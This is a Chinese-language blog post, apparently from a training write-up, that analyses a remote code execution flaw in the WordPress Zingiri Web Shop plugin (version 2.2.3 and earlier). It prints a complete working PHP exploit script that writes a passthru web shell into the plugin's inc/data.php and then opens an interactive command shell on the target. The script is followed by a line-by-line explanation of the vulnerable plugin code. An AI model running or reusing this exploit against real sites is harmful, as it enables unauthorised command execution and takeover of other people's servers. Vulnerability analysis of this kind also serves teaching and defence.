Metasploit训练营中,Zingiri Web Shop插件漏洞分析

本文深入剖析了Wordpress Zingiri Plugin 2.2.3版本中的ajax_save_name.php远程代码执行漏洞。通过fsockopen函数建立连接,fwrite()写入packet,配合get_root_dir()获取文件存储路径,利用random_mkdir()创建目录,最终通过passthru函数执行外部命令。攻击者可以通过设置base64编码的http头来触发漏洞,实现远程代码执行。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Wordpress Zingiri Plugin <= 2.2.3(ajax_save_name.php) Remote Code Excution 如下:


<?php
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout",5);
$fileman = "wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager";
function http_send($host, $packet)
{
	if(!($sock = fsockopen($host,80)))
		die("\n[-] No response from {$host}:80\n");
	fwrite($sock,$packet);
	return stream_get_contents($sock);
}

function get_root_dir()
{
	global $host, $path, $fileman;
	$packet = "GET {$path}{$fileman}/ajaxfilemanager.php HTTP/1.0\r\n";
	$packet .= "Host: {$host}\r\n";
	$packet .= "Connection: close\r\n\r\n";
	if(!preg_match('/currentFolderPath" value="([^"]*)"/', http_send($host, $packet), $m)) die("\n [-] Root folder path not found!\n");
	return $m[1];
}

function random_mkdir()
{
	global $host, $path, $fileman, $rootdir;
	$dirname = uniqid();
	$payload = "new_folder={$dirname}&currentFolderPath={$rootdir}";
	$packet = "POST {$path}{$fileman}/ajax_create_folder.php HTTP/1.0\r\n";
	$packet .= "Host :{$host}\r\n";
	$packet .= "Content-Length: ".strlen($payload)."\r\n";
	$packet .= "Content-type: application/x-www-form-urlencoded\r\n";
	$packet .= "Connection: close\r\n\r\n{$payload}";
	http_send($host, $packet);
	return $dirname;
}

print "\n+------------------------------------------------------------------------------+";
print "\n| Wodpress Zingiri Web Shop Plugin <= 2.2.3 Remote Code Execution Exploit|";
print "\n+------------------------------------------------------------------------------+";

if($argc < 3)
{
	print "\nUsage......: php $argv[0] <host> <path>\n";
	print "\nExample....: php $argv[0] localhost /";
	print "\nExample....: php $argv[0] localhost /wordpress/\n";
	die();
}

$host = $argv[1];
$path = $argv[2];
$rootdir = get_root_dir();
$phpcode = "<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";
$payload = "selectedDoc[]={$phpcode}&currentFolderPath={$rootdir}";
$packet = "POST {$path}{$fileman}/ajax_file_cut.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
if(!preg_match("/Set-Cookie: ([^;]*);/", http_send($host, $packet), $sid))
	die("\n[-] Session ID not found!\n");
$dirname = random_mkdir();
$newname = uniqid();

$payload = "value={$newname}&id={$rootdir}{$dirname}";
$packet = "POST {$path}{$fileman}/ajax_save_name.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$sid[1]}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
http_send($host, $packet); 

$packet = "GET {$path}{$fileman}/inc/data.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
	print "\nzingiri-shell# ";
	if (($cmd = trim(fgets(STDIN))) == "exit") break;
	preg_match("/_code_(.*)/s", http_send($host, sprintf($packet,base64_encode($cmd))), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}
?> 


执行相关命令结果如下:

关于在 Linux 命令行中使用和执行 PHP代码,参考:https://linux.cn/article-5906-1.html


相关代码分析:

http_send()函数,顾名思义,用于发送http消息:

其中fsockopen函数用于打开一个网络连接或者一个Unix套接字连接,返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets()fgetss()fwrite()fclose()还有feof())。

在http_send函数中,即调用fwrite()将packet写入。

最后返回http响应。


get_root_dir()函数,获取上传文件所在的根目录,后面用于存储上传的文件:


在ajaxfilemanager.php中,有如下代码:

<input type="hidden" name="currentFolderPath"  value="<?=$folderInfo['path']; ?>" />

当访问ajaxfilemanager.php时,返回的代码为:

<input type="hidden" name="currentFolderPath"  value="/owaspbwa/owaspbwa-svn/var/www/wordpress/wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/inc/../../../../../../../../../../uploads/zingiri-web-shop/" />

其中value值,即为需要的值,通过正则表达式截取。


random_mkdir()函数,在get_root_dir()函数获取的目录下创建一个文件夹,返回该文件夹名。


接下来下一段代码:

$phpcode = "<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";
$payload = "selectedDoc[]={$phpcode}&currentFolderPath={$rootdir}";
$packet = "POST {$path}{$fileman}/ajax_file_cut.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
if(!preg_match("/Set-Cookie: ([^;]*);/", http_send($host, $packet), $sid))
	die("\n[-] Session ID not found!\n");
上述代码段访问的是ajax_file_cut.php,其中ajax_file_cut.php关键代码:

if(!isset($_POST['selectedDoc']) || !is_array($_POST['selectedDoc']) || sizeof($_POST['selectedDoc']) < 1)
	{
		$error = ERR_NOT_DOC_SELECTED_FOR_CUT;
	}
	elseif(empty($_POST['currentFolderPath']) || !isUnderRoot($_POST['currentFolderPath']))
	{
		$error = ERR_FOLDER_PATH_NOT_ALLOWED;
	}else 
	{		
		require_once(CLASS_SESSION_ACTION);
		$sessionAction = new SessionAction();
		$sessionAction->setAction($_POST['action_value']);
		$sessionAction->setFolder($_POST['currentFolderPath']);
		$sessionAction->set($_POST['selectedDoc']);
		$info = ',num:' . sizeof($_POST['selectedDoc']);
	}
	echo "{error:'" . $error .  "'\n" . $info . "}";

对数组selectedDoc进行了判断,并且$sessionAction->set($_POST['selectedDoc']);

后面在 ajax_save_name.php中会进行$sessionAction->get() 操作,取出当前POST的selectedDoc。


下一段代码:

$payload = "value={$newname}&id={$rootdir}{$dirname}";
$packet = "POST {$path}{$fileman}/ajax_save_name.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$sid[1]}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
<pre name="code" class="php">http_send($host, $packet);  

 访问了ajax_save_name.php,其中ajax_save_name.php关键代码: 

$sessionAction = new SessionAction();		
$selectedDocuments = $sessionAction->get();
if(removeTrailingSlash($sessionAction->getFolder()) == getParentPath($_POST['id']) && sizeof($selectedDocuments))
{
	if(($key = array_search(basename($_POST['id']), $selectedDocuments)) !== false)
	{
		$selectedDocuments[$key] = $_POST['value'];
		$sessionAction->set($selectedDocuments);	
	}
	echo basename($_POST['id']) . "\n";
	displayArray($selectedDocuments);
	}
        elseif(removeTrailingSlash($sessionAction->getFolder()) == removeTrailingSlash($_POST['id']))
	{
		$sessionAction->setFolder($_POST['id']);
	}
	writeInfo(ob_get_clean());
}

此处又对$selectedDoc进行了sizeof的判断


最关键的是displayArray($selectedDocuments)和writeInfo(ob_get_clean())

displayArray()的实现:

function displayArray($array, $comments="")
{
	echo "<pre>";
	echo $comments;
	print_r($array);
	echo $comments;
	echo "</pre>";
}

ob_get_clean()函数,得到当前缓冲区的内容并删除当前输出缓冲区。
ob_get_clean() 实质上是一起执行了 ob_get_contents() 和 ob_end_clean()。

writeInfo()的实现:

function writeInfo($data, $die = false)
{
	$fp = @fopen(dirname(__FILE__) . DIRECTORY_SEPARATOR . 'data.php', 'w+');
	@fwrite($fp, $data);
	@fwrite($fp, "\n\n" . date('d/M/Y H:i:s') );
	@fclose($fp);
	if($die)
	{
	        die();
	}
		
}

实际上,是将

selectedDoc[]={$phpcode}
$phpcode = "<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";
写入了/inc/data.php中,

最后只要在http头中设置:base64_encode(将要远程执行的代码),并且发送给/inc/data.php即可。

在本次攻击中,用于执行外部命令的函数是 passthru函数。


END

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值